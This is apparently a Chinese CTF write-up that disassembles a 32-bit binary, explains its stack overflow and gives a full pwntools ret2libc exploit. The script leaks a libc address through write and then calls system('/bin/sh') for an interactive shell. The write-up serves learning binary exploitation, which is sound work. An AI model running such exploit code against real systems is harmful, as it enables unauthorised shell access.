从负开始学汇编1
续集
直接把main函数所有代码亮出来
=> 0x8048594: push ebp
0x8048595: mov ebp,esp
0x8048597: and esp,0xfffffff0
0x804859a: sub esp,0x10
0x804859d: mov DWORD PTR [esp],0x1
0x80485a4: call 0x8048400
0x80485a9: mov eax,ds:0x804a044
0x80485ae: mov DWORD PTR [esp+0x4],0x0
0x80485b6: mov DWORD PTR [esp],eax
0x80485b9: call 0x80483e0
0x80485be: mov eax,ds:0x804a060
0x80485c3: mov DWORD PTR [esp+0x4],0x0
0x80485cb: mov DWORD PTR [esp],eax
0x80485ce: call 0x80483e0
0x80485d3: mov eax,ds:0x804a040
0x80485d8: mov DWORD PTR [esp+0x4],0x0
0x80485e0: mov DWORD PTR [esp],eax
0x80485e3: call 0x80483e0
0x80485e8: mov DWORD PTR [esp],0x8048690
0x80485ef: call 0x8048410
0x80485f4: call 0x804854d
0x80485f9: mov eax,0x0
0x80485fe: leave
0x80485ff: ret
程序大体就是
alarm(1) => setbuf(stdin, 0) => sefbuf(stdout, 0) => setbuf(stderr, 0) => sub_804854d()
这个前面没什么hack点,我们跳到sub_804854d
里面
0x804854d: push ebp
0x804854e: mov ebp,esp
0x8048550: sub esp,0x98
0x8048556: mov DWORD PTR [esp+0x8],0x100 ;0x100
0x804855e: lea eax,[ebp-0x88] ; buffer_addr
0x8048564: mov DWORD PTR [esp+0x4],eax
0x8048568: mov DWORD PTR [esp],0x0 ; 0x0
0x804856f: call 0x80483f0 ; read(0, [ebp -0x88], 0x100)
0x8048574: mov DWORD PTR [esp+0x8],0x100 ;0x100
0x804857c: lea eax,[ebp-0x88]
0x8048582: mov DWORD PTR [esp+0x4],eax ; buffer_addr
0x8048586: mov DWORD PTR [esp],0x1 ; 0x1
0x804858d: call 0x8048440 ; write(1, [ebp - 0x88], 0x100)
0x8048592: leave ; mov esp, ebp; pop ebp
0x8048593: ret
这里先把栈抬高了0x98,靠近栈顶esp
的0x10个用来放等下要调用read
和write
的三个形参(3* 4 = 0x10), 靠近栈基的0x88
个字节作为缓冲区,这个时候read第三个参数是0x100 > 0x88这就造成了后面的栈溢出
我们checksec
的结果是,只开启了NX
,数据段不可执行,所以我们可以使用ret2libc
我们的思路是利用read栈溢出,覆盖sub_804854d
的返回地址,让他指向<write@plt>
,就可以调用write来打印出内存中glibc某个函数的地址,以后来后面通过偏移算出system
和/bin/sh
在内存中的位置,然后让<write@plt>
再次返回到sub_804854d
,这一次我们就可以在此栈溢出,并返回到system('/bin/sh')
read(0, &buf, 0x100); // => 写入内容大概是 'A' * 0x88 + 'BBBB' + <write@plt> + ret_addr_of_write + arg1 + arg2 + arg3
=> write(1, <write@got>, 0x4); // => get到加载好的glibc中的write地址, 参数就是上面的arg1~3
=> sub_804854d // 就是上面填好的ret_addr_of_write
=> read(0, &buf, 0x100); // => 写入内容大概是 'A' * 0x88 + 'BBBB' + system + ret_addr_of_system + /bin/sh
=> system('/bin/sh')
这个再注意一下,想调用某个库函数只要传入<xxx@plt>
就可以了,只有要算偏移的时候,要得到库函数具体加载位置才必须要使用<xxx@got>
写payload
遇到了好多问题,就是recv,recvline的问题,等会说
#encoding: utf8
from pwn import *
debug = 0
elf = ELF('pwn1')
libc = ELF('libc.so')
if debug == 1:
p = process('./pwn1')
# context.terminal = ['gnome-terminal','-x','sh','-c']
# gdb.attach(p)
else:
p = remote('127.0.0.1', 6666)
plt_write = elf.symbols['write']
print 'plt_write=' + hex(plt_write)
got_write = elf.got['write']
print 'got_write=' + hex(got_write)
vuln_addr = 0x0804854d
buffer_len = 0x88
payload1 = ''
payload1 += 'A' * buffer_len
payload1 += 'BBBB' # ebp
payload1 += p32(plt_write) # ret_addr
payload1 += p32(vuln_addr) # write ret to vuln_function
#args of write
payload1 += p32(1)
payload1 += p32(got_write)
payload1 += p32(4)
p.send(payload1)
# 坑点在这里,原题目使用了一次puts,puts是自带换行的,必须用p.recvline()
p.recvline()
# 你要先接受0x100字节的输出,是来自write(1, buf, 0x100)
# 你虽然read没写这么多数据,但他会write这么多,开始这里就错了
p.recv(0x100)
# 这个时候才可以接收
resp = p.recv(4)
write_addr = u32(resp)
print 'write_addr=' + hex(write_addr)
# 计算偏移地址
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
sh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')) )
payload2 = ''
payload2 += 'A' * buffer_len
payload2 += 'BBBB' # ebp
payload2 += p32(system_addr) # ret_addr
payload2 += p32(vuln_addr) # 起来shell后返回到哪里已经不重要了,这里可以瞎填
payload2 += p32(sh_addr) # arg of system
p.send(payload2)
p.interactive()
第一个问题就是p.recv全系列
recv(numb = 4096, timeout = default) → str
Receives up to numb bytes of data from the tube, and returns as soon as any quantity of data is available.
If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string (‘’) is returned.
如果达不到n个字节那将什么都得不到,那要是我的numb设置的太小呢recvline(keepends = True) → str
A “line” is any sequence of bytes terminated by the byte sequence set in newline, which defaults to ‘\n’.
If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string (‘’) is returned.
如果返回的数据没有\n
那用了recvline
讲什么都得不到,而不是得到一部分recvuntil(delims, timeout = default) → str
Receive data until one of delims is encountered.
If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string (‘’) is returned.注意:all data is buffered
第二个问题是题目三次setbuf,就像原来自己写的程序,用到的输入输出函数,只有在遇到换行或者xxx情况才刷新缓冲区,这里不需要,所以这里的给read
上payload的时候只要p.send(payload)
就可以了,而不需要p.sendline(payload)
是这个原因吗
第三个问题是题目开了alarm(1)
, 1s后程序就会exited on signal 14
,这个手根本没办法,所以把最后几行改成
...
p.send(payload2)
p.sendline("ls")
print p.recvline()
p.interactive()
这里用了p.sendline()
,是和命令行交互的时候,还是不太懂要不要line
gdb常用操作
start 启动程序,并且停在main的第一句